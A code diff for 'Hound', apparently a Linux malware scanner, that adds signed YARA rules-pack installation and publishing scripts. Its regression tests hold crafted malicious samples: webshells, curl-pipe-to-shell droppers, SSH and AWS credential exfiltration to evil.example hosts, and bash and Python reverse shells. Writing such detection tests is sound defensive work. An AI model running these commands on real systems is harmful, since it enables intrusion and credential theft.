Ok(out) } +/// Fetch and install the signed YARA rules packs the index offers. +/// +/// The verbatim `.rpack` is kept beside the extracted `.yar` so the next +/// run can compare hashes and skip the download; the rule store only +/// compiles `*.yar`, so the envelope sitting there is inert. The `.yar` is +/// extracted from the *verified* payload — the YARA compiler never sees +/// bytes whose signature did not check out. +fn install_rules_packs( + base: &str, + index: &Index, + trusted: &[(&str, ed25519_dalek::VerifyingKey)], + out: &mut Outcome, +) { + if index.rules.is_empty() { + return; + } + let dir = rules_install_dir(); + if let Err(e) = std::fs::create_dir_all(&dir) { + out.log.push(format!("rules: could not create {}: {e}", dir.display())); + return; + } + + for entry in &index.rules { + if !safe_rules_name(&entry.file) { + out.rejected.push(entry.file.clone()); + out.log.push(format!( + "refused a rules-pack name that is not a plain filename: {:?}", + entry.file + )); + continue; + } + let dest = dir.join(&entry.file); + if let Ok(existing) = std::fs::read(&dest) { + if !entry.sha256.is_empty() && sha256_hex(&existing) == entry.sha256 { + out.already_current.push(entry.file.clone()); + continue; + } + } + + let url = format!("{base}/{}", entry.file); + let bytes = match get(&url, MAX_PACK_BYTES) { + Ok(b) => b, + Err(e) => { + out.rejected.push(entry.file.clone()); + out.log.push(format!("{}: {e}", entry.file)); + continue; + } + }; + + // VERIFY BEFORE INSTALL, same as a definitions pack. + let signed: SignedPack = match serde_json::from_slice(&bytes) { + Ok(s) => s, + Err(e) => { + out.rejected.push(entry.file.clone()); + out.log.push(format!("{}: not a rules pack ({e})", entry.file)); + continue; + } + }; + let rules = match pack::verify_rules(&signed, trusted) { + Ok(r) => r, + Err(e) => { + out.rejected.push(entry.file.clone()); + out.log.push(format!("{}: {e}", entry.file)); + continue; + } + }; + + // The installed basename comes from inside the signed payload, and + // still gets the hostile-filename treatment: signing keys can be + // stolen, and a stolen key must not also be a path traversal. + if !acceptable_rules_pack_name(&rules.name) { + out.rejected.push(entry.file.clone()); + out.log + .push(format!("{}: refused pack name {:?}", entry.file, rules.name)); + continue; + } + + let install = |path: &Path, bytes: &[u8]| -> std::io::Result<()> { + let tmp = dir.join(format!( + ".{}.part", + path.file_name().unwrap_or_default().to_string_lossy() + )); + std::fs::write(&tmp, bytes)?; + std::fs::rename(&tmp, path) + }; + let yar = dir.join(format!("{}.yar", rules.name)); + if let Err(e) = install(&yar, rules.yara.as_bytes()) + .and_then(|_| install(&dir.join("VERSION"), rules.version.as_bytes())) + .and_then(|_| install(&dest, &bytes)) + { + out.rejected.push(entry.file.clone()); + out.log.push(format!("{}: could not install: {e}", entry.file)); + continue; + } + + let rule_count = rules.yara.matches("\nrule ").count() + + usize::from(rules.yara.starts_with("rule ")); + out.log.push(format!( + "{} — {} rules, version {}", + entry.file, rule_count, rules.version + )); + out.installed.push(entry.file.clone()); + } +} + +/// A pack name that may become an installed basename: plain, short, no +/// dots at all — the extension is appended by us, never supplied. +fn acceptable_rules_pack_name(name: &str) -> bool { + !name.is_empty() + && name.len() <= 64 + && name + .chars() + .all(|c| c.is_ascii_alphanumeric() || matches!(c, '-' | '_')) +} + +/// Where rules packs land, mirroring `install_dir` for definitions and +/// matching where `rules::rules_dir` looks. +pub fn rules_install_dir() -> PathBuf { + if let Some(dir) = std::env::var_os("HOUNDD_RULES_DIR") { + return PathBuf::from(dir); + } + if crate::caps::is_root() { + return PathBuf::from("/var/lib/hound/rules"); + } + let home = std::env::var("HOME").unwrap_or_else(|_| "/root".into()); + PathBuf::from(home).join(".local/share/hound/rules") +} + /// Where the daemon keeps packs, creating the system location when root. pub fn install_dir() -> PathBuf { if let Some(dir) = std::env::var_os("HOUNDD_DEFS_DIR") { @@ -276,6 +419,25 @@ mod tests { } } + #[test] + fn rules_pack_filenames_get_the_same_treatment() { + assert!(safe_rules_name("hound-linux-2026.08.21.rpack")); + for bad in ["../evil.rpack", "a.pack", "sub/dir.rpack", ".hidden.rpack", ""] { + assert!(!safe_rules_name(bad), "{bad:?} should have been refused"); + } + } + + /// The installed basename comes from *inside* the signed payload. A + /// stolen signing key is bad enough; it must not also be a path + /// traversal into /etc. + #[test] + fn a_signed_but_hostile_pack_name_is_refused() { + for bad in ["../cron.d/evil", "a.yar", "with space", "", &"x".repeat(65)] { + assert!(!acceptable_rules_pack_name(bad), "{bad:?} should have been refused"); + } + assert!(acceptable_rules_pack_name("hound-linux")); + } + #[test] fn an_absurdly_long_name_is_refused() { assert!(!safe_pack_name(&format!("{}.pack", "a".repeat(200)))); diff --git a/crates/houndd/tests/threat_pack.rs b/crates/houndd/tests/threat_pack.rs new file mode 100644 index 0000000..a614133 --- /dev/null +++ b/crates/houndd/tests/threat_pack.rs @@ -0,0 +1,274 @@ +//! Regression tests for the Hound Linux threat pack +//! (`crates/hound-defs/rules/hound-linux.yar`). +//! +//! The pack ships through the signed rules channel rather than compiled +//! into the binary, so these tests are its safety net: they compile it +//! under the real engine, prove every rule still fires on a crafted +//! sample of the thing it names, and re-run the goodware gate that keeps +//! it from eating a system binary. A rule that stops detecting, or starts +//! matching real files, fails the build here rather than in the field. + +use std::path::PathBuf; + +fn pack_source() -> String { + // The pack lives in the sibling hound-defs crate. + let path = PathBuf::from(env!("CARGO_MANIFEST_DIR")) + .join("../hound-defs/rules/hound-linux.yar"); + std::fs::read_to_string(&path) + .unwrap_or_else(|e| panic!("reading {}: {e}", path.display())) +} + +fn compiled() -> yara_x::Rules { + let src = pack_source(); + let mut c = yara_x::Compiler::new(); + c.add_source(yara_x::SourceCode::from(src.as_str()).with_origin("hound-linux.yar")) + .expect("the threat pack must compile under yara-x"); + c.build() +} + +fn hits(rules: &yara_x::Rules, bytes: &[u8]) -> Vec { + let mut sc = yara_x::Scanner::new(rules); + sc.scan(bytes) + .unwrap() + .matching_rules() + .map(|r| r.identifier().to_string()) + .collect() +} + +/// A minimal ELF header so ELF-anchored rules can fire on a crafted body. +fn elf(body: &[u8]) -> Vec { + let mut v = vec![0x7f, b'E', b'L', b'F']; + v.extend_from_slice(&[2, 1, 1, 0]); + v.extend_from_slice(&[0u8; 56]); + v.extend_from_slice(body); + v +} + +#[test] +fn the_pack_compiles_and_has_the_rules_we_think_it_does() { + let rules = compiled(); + let count = rules.iter().count(); + assert!(count >= 30, "expected the full pack, compiled {count}"); +} + +#[test] +fn every_rule_fires_on_a_sample_of_what_it_names() { + let rules = compiled(); + + // (rule identifier, a crafted sample that must trigger it). + let cases: &[(&str, Vec)] = &[ + ( + "Linux_Coinminer_XMRig_Config", + elf(b"stratum+tcp://pool.example:3333 donate-level randomx \"coin\":"), + ), + ( + "Linux_Coinminer_XMRigCC", + elf(b"XMRigCCServer control_command cc-client"), + ), + ( + "Linux_Coinminer_Generic_Pool", + elf(b"stratum+tcp:// pool.minexmr.com worker"), + ), + ( + "Linux_Bot_Mirai", + elf(b"/dev/watchdog GETLOCALIP listening tun0 botnet"), + ), + ( + "Linux_Bot_Gafgyt", + elf(b"/bin/busybox TCP flood UDP flood GETLOCALIP HTTPFLOOD"), + ), + ( + "Linux_Bot_Tsunami", + elf(b"PRIVMSG TSUNAMI GETSPOOFS PAN "), + ), + ( + "Linux_Backdoor_XorDDoS", + elf(b"/lib/libudev.so rootkit md5= hostname cat /proc/net/dev"), + ), + ( + "Linux_Backdoor_TinyShell", + elf(b"tsh RUNSHELL GET_FILE PUT_FILE"), + ), + ( + "Linux_Backdoor_Rekoobe", + elf(b"/tmp/.X11-unix/ d[%d] /proc/%d/cmdline HISTFILE"), + ), + ( + "Linux_Backdoor_BPFDoor", + elf(b"/var/run/haldrund.pid /dev/shm/kdmtmpflush hald-addon-volume"), + ), + ( + "Linux_Rootkit_Diamorphine", + elf(b"diamorphine module_hide hacked_getdents is_invisible"), + ), + ( + "Linux_Rootkit_Reptile", + elf(b"reptile magic_prefix hide_pid /reptile/reptile_shell"), + ), + ( + "Linux_Rootkit_Bedevil", + elf(b"bdvl shell_pass hidden_port ldpreloadhijack"), + ), + ( + "Linux_Rootkit_Preload_Config", + b"/dev/shm/.libhide.so\n".to_vec(), + ), + ( + "Linux_Ransom_RansomEXX", + elf(b"!NEWS_FOR_EXX_COMPANY! .ransomexx encrypt_file mbedtls_"), + ), + ( + "Linux_Ransom_DarkSide_ESXi", + elf(b"esxcli vm process kill README .onion encrypted by"), + ), + ( + "Linux_Ransom_Note_Generic", + b"All your files are encrypted. Contact us at abcdefghij234567.onion to decrypt your files.".to_vec(), + ), + ( + "Linux_Webshell_JSP_Eval", + b"<%@ page %> <% Runtime.getRuntime().exec(request.getParameter(\"c\")); %>".to_vec(), + ), + ( + "Linux_Webshell_ASP_Eval", + b"<% eval(Request(\"cmd\")) %>".to_vec(), + ), + ( + "Linux_Webshell_PHP_Obfuscated", + b"".to_vec(), + ), + ( + "Linux_Webshell_Python", + b"import cgi\nf=cgi.FieldStorage()\nos.system(f.getvalue('cmd'))\n".to_vec(), + ), + ( + "Linux_Webshell_Perl", + b"#!/usr/bin/perl\nuse CGI;\nmy $c=param('cmd');\nsystem($c);\n".to_vec(), + ), + ( + "Linux_Webshell_C99_R57", + b"".to_vec(), + ), + ( + "Linux_Dropper_CurlPipeSh", + b"#!/bin/sh\ncurl -s http://evil.example/x | sh\n".to_vec(), + ), + ( + "Linux_Dropper_TmpChmodExec", + b"#!/bin/sh\nwget http://evil/x -O /tmp/x\nchmod +x /tmp/x\n/tmp/x\n".to_vec(), + ), + ( + "Linux_Stealer_SSHCredHarvest", + b"#!/bin/bash\ntar c ~/.ssh/id_rsa ~/.ssh/known_hosts | curl -T- http://evil/\n".to_vec(), + ), + ( + "Linux_Malware_BashHistory_Exfil", + b"#!/bin/bash\ncat ~/.aws/credentials | curl http://evil.example/x\n".to_vec(), + ), + ( + "Linux_ReverseShell_DevTcp", + b"#!/bin/bash\nbash -i >& /dev/tcp/10.0.0.1/4444 0>&1\n".to_vec(), + ), + ( + "Linux_ReverseShell_Interpreter", + b"import socket,subprocess\ns=socket.socket()\ns.connect((\"10.0.0.1\",4444))\nsubprocess.call([\"/bin/sh\"])\n".to_vec(), + ), + ( + "Linux_Malware_EmbeddedElf_B64", + b"#!/bin/sh\necho f0VMRgIBAQ... | base64 -d > /tmp/x\n".to_vec(), + ), + ( + "Linux_Malware_HistoryTamper", + b"#!/bin/bash\nunset HISTFILE\nrm -f /var/log/wtmp\n".to_vec(), + ), + ( + "Linux_Malware_Persistence_CronDownload", + b"*/5 * * * * root curl -s http://evil/x | bash\n".to_vec(), + ), + ( + "Linux_Malware_LdPreloadEnvInject", + b"#!/bin/sh\nexport LD_PRELOAD=/dev/shm/.evil.so\n".to_vec(), + ), + ( + "Linux_Malware_SetuidBackdoor_Script", + b"#!/bin/sh\ncp /bin/sh /tmp/.rootsh\nchmod 4755 /tmp/.rootsh\n".to_vec(), + ), + ]; + + let mut missed = Vec::new(); + let mut seen = std::collections::HashSet::new(); + for (rule, sample) in cases { + seen.insert(rule.to_string()); + let matched = hits(&compiled(), sample); + if !matched.iter().any(|m| m == rule) { + missed.push(format!("{rule}: sample matched {matched:?} instead")); + } + } + assert!(missed.is_empty(), "rules that did not fire:\n {}", missed.join("\n ")); + + // Every rule in the pack must have a positive sample above — a rule + // nobody tests is a rule that can silently rot. + let mut untested: Vec = compiled() + .iter() + .map(|r| r.identifier().to_string()) + .filter(|id| !seen.contains(id)) + .collect(); + untested.sort(); + assert!(untested.is_empty(), "rules with no positive sample:\n {}", untested.join("\n ")); +} + +#[test] +fn a_document_about_malware_is_not_malware() { + // The recurring incident: a threat-intel report / AI transcript that + // quotes the very strings the rules key on. The anchors exist for + // exactly this. A plain prose document naming these families and + // techniques must stay clean. + let rules = compiled(); + let doc = "\ + This report covers Mirai, Gafgyt and XorDDoS. Mirai brute-forces \ + Telnet and reports via GETLOCALIP; XorDDoS drops /lib/libudev.so. \ + Analysts should watch for stratum+tcp:// pool URLs (donate-level, \ + rig-id) that indicate XMRig, for reverse shells like \ + 'bash -i >& /dev/tcp/host/port 0>&1', and for c99shell / r57shell \ + webshells. Diamorphine and Reptile are common LKM rootkits.\n" + .repeat(50); + let h = hits(&rules, doc.as_bytes()); + assert!(h.is_empty(), "a document discussing malware must stay clean: {h:?}"); +} + +#[test] +fn the_pack_does_not_flag_system_binaries() { + // The gate the builder enforces, kept as a test so it also runs in CI. + // Skipped where there is nothing to scan (a minimal container). + let rules = compiled(); + let mut scanner = yara_x::Scanner::new(&rules); + let mut checked = 0usize; + let mut failures = Vec::new(); + for dir in ["/usr/bin", "/bin", "/usr/sbin"] { + for entry in std::fs::read_dir(dir).into_iter().flatten().flatten() { + let path = entry.path(); + let Ok(md) = std::fs::symlink_metadata(&path) else { continue }; + if md.is_symlink() || !md.is_file() || md.len() > 32 * 1024 * 1024 { + continue; + } + let Ok(bytes) = std::fs::read(&path) else { continue }; + checked += 1; + if let Ok(res) = scanner.scan(&bytes) { + for m in res.matching_rules() { + failures.push(format!("{} -> {}", path.display(), m.identifier())); + } + } + } + } + if checked < 50 { + eprintln!("threat-pack goodware gate: only {checked} binaries readable — not meaningful, skipping"); + return; + } + assert!( + failures.is_empty(), + "{} false positive(s) across {checked} system binaries:\n {}", + failures.len(), + failures.join("\n ") + ); + eprintln!("threat-pack goodware gate: {checked} system binaries, 0 false positives"); +} diff --git a/dist/hound_0.1.12_amd64.deb b/dist/hound_0.1.12_amd64.deb new file mode 100644 index 0000000..30415bd Binary files /dev/null and b/dist/hound_0.1.12_amd64.deb differ diff --git a/gui/package-lock.json b/gui/package-lock.json index 3d9ae29..166379e 100644 --- a/gui/package-lock.json +++ b/gui/package-lock.json @@ -1,12 +1,12 @@ { "name": "hound-gui", - "version": "0.1.11", + "version": "0.1.12", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "hound-gui", - "version": "0.1.11", + "version": "0.1.12", "dependencies": { "@tauri-apps/api": "^2.5.0", "@tauri-apps/plugin-dialog": "^2.7.2", diff --git a/tools/issue-license.py b/tools/issue-license.py new file mode 100755 index 0000000..19d1737 --- /dev/null +++ b/tools/issue-license.py @@ -0,0 +1,71 @@ +#!/usr/bin/env python3 +"""Issue a Hound licence token. + +The token is an Ed25519 signature over the canonical licence text, wrapped +in the same signed-blob JSON as a definitions pack, then base64-encoded to +a single line a customer can paste into: + + sudo hound license install + +Signed with the same key as definition packs and release manifests, and +verified by the agent against the same compiled-in public key. There is no +licence server and no phone-home: the token is the entire entitlement. + +Usage: + tools/issue-license.py --tier pro --holder "Ada L " \ + --expires 2027-08-21 + tools/issue-license.py --tier fleet --holder "Some Shop" --seats 25 \ + --expires 2027-08-21 +""" +import argparse, base64, json, pathlib, sys + +KEY = pathlib.Path.home() / "agents/hound/.secrets/defs-signing.key" +KEY_ID = "hound-2026" + +# Must match hound_api::license::License::canonical exactly. +def canonical(tier, holder, expires, seats): + return f"hound-license-v1\ntier={tier}\nholder={holder}\nexpires={expires}\nseats={seats}\n" + +def main(): + ap = argparse.ArgumentParser() + ap.add_argument("--tier", required=True, choices=["pro", "fleet"]) + ap.add_argument("--holder", required=True, help="display name, e.g. 'Ada L '") + ap.add_argument("--expires", required=True, help="ISO date, e.g. 2027-08-21; the agent falls back to Free after this") + ap.add_argument("--seats", type=int, default=0, help="Fleet seat count (0 for Pro)") + ap.add_argument("--key", type=pathlib.Path, default=KEY) + a = ap.parse_args() + + if len(a.expires) != 10 or a.expires[4] != "-" or a.expires[7] != "-": + sys.exit(f"--expires must be an ISO date (YYYY-MM-DD), got {a.expires!r}") + if "\n" in a.holder or "=" not in canonical("x", a.holder, "", 0).splitlines()[2]: + sys.exit("--holder must be a single line") + if a.tier == "fleet" and a.seats < 3: + sys.exit("Fleet licences have a 3-seat minimum") + if not a.key.is_file(): + sys.exit(f"no signing key at {a.key}") + + try: + from nacl.signing import SigningKey + except ImportError: + sys.exit("pip install pynacl") + seed = a.key.read_bytes() + if len(seed) == 64: + seed = seed[:32] + sk = SigningKey(seed) + + payload = canonical(a.tier, a.holder, a.expires, a.seats).encode() + sig = sk.sign(payload).signature + signed = { + "payload": base64.b64encode(payload).decode(), + "signature": base64.b64encode(sig).decode(), + "key_id": KEY_ID, + } + token = base64.b64encode(json.dumps(signed).encode()).decode() + + print(f"# {a.tier} · {a.holder} · expires {a.expires}" + + (f" · {a.seats} seats" if a.seats else ""), file=sys.stderr) + print(f"# install with: sudo hound license install ", file=sys.stderr) + print(token) + +if __name__ == "__main__": + main() diff --git a/tools/publish-rules-pack.sh b/tools/publish-rules-pack.sh new file mode 100755 index 0000000..3d8f69f --- /dev/null +++ b/tools/publish-rules-pack.sh @@ -0,0 +1,79 @@ +#!/usr/bin/env bash +# +# Build, gate, sign and publish the Hound Linux threat pack. +# +# Unlike the definition feed (rebuilt nightly from OSV), the threat pack is +# curated YARA and changes only when a human edits the rules, so this is run +# by hand — or by CI on a change to crates/hound-defs/rules/hound-linux.yar. +# +# The builder refuses to sign a pack that does not compile or that matches a +# system binary (the goodware gate), so a bad edit fails here, not in the +# field. Publishing is atomic per file and the index is rewritten last. +set -euo pipefail + +ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)" +KEY="${HOUND_DEFS_KEY:-$HOME/agents/hound/.secrets/defs-signing.key}" +DEST="${HOUND_DEFS_DIR:-/srv/houndav/defs}" +SRC="${HOUND_RULES_SRC:-$ROOT/crates/hound-defs/rules/hound-linux.yar}" +NAME="hound-linux" +VERSION="${1:-$(date -u +%Y.%m.%d)}" +CREATED="$(date -u +%Y-%m-%dT%H:%M:%SZ)" + +log() { printf '%s %s\n' "$(date -u +%H:%M:%S)" "$*"; } + +[ -f "$KEY" ] || { echo "no signing key at $KEY" >&2; exit 1; } +[ -f "$SRC" ] || { echo "no rules source at $SRC" >&2; exit 1; } +[ -d "$DEST" ] || { echo "no destination directory $DEST" >&2; exit 1; } + +BUILDER="$ROOT/target/release/examples/build-rules-pack" +if [ ! -x "$BUILDER" ]; then + log "building the rules-pack builder" + ( cd "$ROOT" && cargo build --release -p houndd --example build-rules-pack ) +fi + +STAGE="$(mktemp -d "${TMPDIR:-/var/tmp}/hound-rules-stage.XXXXXX")" +trap 'rm -rf "$STAGE"' EXIT +PACK="$STAGE/${NAME}-${VERSION}.rpack" + +# This compiles, runs the goodware gate against this host's binaries, and +# signs — or exits non-zero without writing anything. +"$BUILDER" "$SRC" "$NAME" "$PACK" "$KEY" "$VERSION" "$CREATED" + +base="$(basename "$PACK")" +cp "$PACK" "$DEST/.$base.tmp" +chmod 644 "$DEST/.$base.tmp" +mv -f "$DEST/.$base.tmp" "$DEST/$base" +log "published $base" + +# Rebuild the index over everything on disk — definition packs and rules +# packs both. Same logic as refresh-definitions.sh so the two agree. +python3 - "$DEST" <<'PY' +import hashlib, json, os, sys +dest = sys.argv[1] +def newest_by_family(suffix, strip): + newest = {} + for f in sorted(os.listdir(dest)): + if f.endswith(suffix): + newest[f.rsplit("-", 1)[0]] = f + out = [] + for _, f in sorted(newest.items()): + p = os.path.join(dest, f) + out.append({ + "file": f, + "sha256": hashlib.sha256(open(p, "rb").read()).hexdigest(), + "size": os.path.getsize(p), + "version": f.rsplit("-", 1)[1][:-strip], + }) + return out +packs = newest_by_family(".pack", 5) +rules = newest_by_family(".rpack", 6) +tmp = os.path.join(dest, ".index.json.tmp") +with open(tmp, "w") as fh: + json.dump({"packs": packs, "rules": rules}, fh, indent=2) + fh.write("\n") +os.chmod(tmp, 0o644) +os.replace(tmp, os.path.join(dest, "index.json")) +print(f"index.json lists {len(packs)} definition pack(s) and {len(rules)} rules pack(s)") +PY + +log "done" diff --git a/tools/refresh-definitions.sh b/tools/refresh-definitions.sh index bf05d98..246d9a5 100755 --- a/tools/refresh-definitions.sh +++ b/tools/refresh-definitions.sh @@ -87,30 +87,39 @@ done python3 - "$DEST" "$VERSION" <<'PY' import hashlib, json, os, sys dest, version = sys.argv[1], sys.argv[2] -packs = [] -# One pack per ecosystem: the newest. Older ones stay on disk so existing + +# One entry per family: the newest file. Older ones stay on disk so existing # URLs keep resolving, but the index only ever advertises current data. -newest = {} -for f in sorted(os.listdir(dest)): - if not f.endswith(".pack"): - continue - eco = f.rsplit("-", 1)[0] - newest[eco] = f -for eco, f in sorted(newest.items()): - p = os.path.join(dest, f) - packs.append({ - "file": f, - "sha256": hashlib.sha256(open(p, "rb").read()).hexdigest(), - "size": os.path.getsize(p), - "version": f.rsplit("-", 1)[1][:-5], - }) +def newest_by_family(suffix, strip): + newest = {} + for f in sorted(os.listdir(dest)): + if f.endswith(suffix): + newest[f.rsplit("-", 1)[0]] = f + out = [] + for _, f in sorted(newest.items()): + p = os.path.join(dest, f) + out.append({ + "file": f, + "sha256": hashlib.sha256(open(p, "rb").read()).hexdigest(), + "size": os.path.getsize(p), + "version": f.rsplit("-", 1)[1][:-strip], + }) + return out + +# Definition packs (.pack) are rebuilt daily by this script. Rules packs +# (.rpack — the curated threat pack) are built and published separately by +# tools/publish-rules-pack.sh, but the index advertises both, so it is +# rebuilt from whatever .rpack files are on disk rather than dropping them. +packs = newest_by_family(".pack", 5) +rules = newest_by_family(".rpack", 6) + tmp = os.path.join(dest, ".index.json.tmp") with open(tmp, "w") as fh: - json.dump({"packs": packs}, fh, indent=2) + json.dump({"packs": packs, "rules": rules}, fh, indent=2) fh.write("\n") os.chmod(tmp, 0o644) os.replace(tmp, os.path.join(dest, "index.json")) -print(f"index.json lists {len(packs)} pack(s)") +print(f"index.json lists {len(packs)} definition pack(s) and {len(rules)} rules pack(s)") PY log "published $published pack(s) for $VERSION"